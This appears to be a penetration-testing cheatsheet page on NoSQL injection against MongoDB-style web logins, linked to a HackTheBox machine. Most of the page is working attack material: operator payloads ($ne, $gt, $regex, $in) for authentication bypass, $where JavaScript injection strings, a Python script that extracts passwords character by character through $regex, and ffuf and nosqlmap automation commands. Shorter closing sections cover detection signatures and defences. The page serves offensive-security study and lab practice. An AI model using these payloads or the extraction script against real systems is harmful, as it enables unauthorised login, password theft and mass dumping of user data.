NoSQL Injection
Full command arsenal in the cheatsheetNoSQL injection is, in non-relational databases (MongoDB, CouchDB…), the equivalent of classic SQL injection: the application builds a query from user input without sanitising it, and the attacker manipulates the structure of that query instead of just supplying data. Although MongoDB doesn't use SQL, it's still vulnerable when parameters reach the query object as-is. There are two payload families: operator injection and JavaScript syntax injection.
Authentication bypass with operators
MongoDB queries with operators like $ne (not equal), $gt (greater than), $regex or $in. If the field is parsed as an object instead of a string, password[$ne]=1 means "password not equal to 1", i.e. anything. The same bypass is sent several ways depending on how the backend parses the request:
# form-urlencoded with bracket notation (Express/PHP turn it into an object)
username[$ne]=x&password[$ne]=x
username[$gt]=&password[$gt]=
# JSON body (Content-Type: application/json)
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$gt": ""}, "password": {"$gt": ""}}
# if the user is known, force only the password
{"username": "admin", "password": {"$ne": "x"}}
# $in / $regex to hit the user without knowing it
{"username": {"$in": ["admin","administrator","root"]}, "password": {"$ne": "x"}}
{"username": {"$regex": "^admin"}, "password": {"$ne": "x"}}JavaScript syntax injection ($where)
When the query accepts a JavaScript expression ($where, mapReduce), an always-true condition bypasses authentication just like SQL's OR 1=1, and a sleep confirms it blind:
# always-true condition (breaking a quoted string)
admin' || '1'=='1
admin' || 1==1//
'; return true; var x='
# injection into a $where with a time delay (confirms JS execution)
{"$where": "sleep(5000)"}
{"username": "admin", "$where": "this.password.length > 8"}Blind extraction with $regex
If there is no reflection but the login responds differently to true/false, $regex extracts the password character by character (first the length with ^.{n}$, then each position):
# the response changes when the pattern hits the next character
username=admin&password[$regex]=^a
username=admin&password[$regex]=^ab
username=admin&password[$regex]=^abc
# exact length
username=admin&password[$regex]=^.{8}$import requests, string
url, known = "http://<ip>/login", ""
charset = string.ascii_letters + string.digits + "_@!."
while True:
for c in charset:
r = requests.post(url, json={"username":"admin","password":{"$regex":f"^{known}{c}"}})
if "Dashboard" in r.text: # marker of a successful login
known += c; print(known); break
else:
breakAutomation
nosqlmap # interactive wizard
# or a manual operator sweep with ffuf over the JSON body
ffuf -u http://<ip>/login -X POST -H 'Content-Type: application/json' \
-d '{"username":"admin","password":{"FUZZ":"x"}}' -w operators.txt -mc 200,302Confirming the engine. The usual tell is a change in behaviour versus the SQL payloads: instead of an SQL syntax error, the app may return a 400, a 500 or a timeout (504) when the operator breaks the query, and behave differently with [$ne] than with a normal value. That points to a NoSQL engine and guides how you shape the payloads.
Impact. Beyond the login bypass, if the same vulnerable pattern sits in a search or a listing, an always-true condition makes the query return every document in the collection, not just the queried one: a mass data dump (users, hashes, tokens).
How to detect it. In the web/WAF, the signature is a parameter with query operators ([$ne], [$gt], [$regex], [$where], [$in]) or a JSON body where a field that should be a string arrives as a nested object ({"password":{"$gt":""}}), which no legitimate client sends. A blind $regex attack leaves a very visible trace: hundreds of login requests differing only by one character of the pattern (^a, ^ab, ^abc...), an obvious brute-force pattern in the access log. In the database, MongoDB's profiler records unexpected $where/$regex queries or ones returning the whole collection.
Defence. Validate and type the input (a field that must be a string shouldn't be parsed as an object/operator), use the driver's parameterised queries, disable server-side JavaScript evaluation ($where, mapReduce) and apply least privilege to the database account. Related to the hash recovery that usually follows a dump and to the reuse of harvested credentials.
Machines where it's used
- ShoppyHackTheBox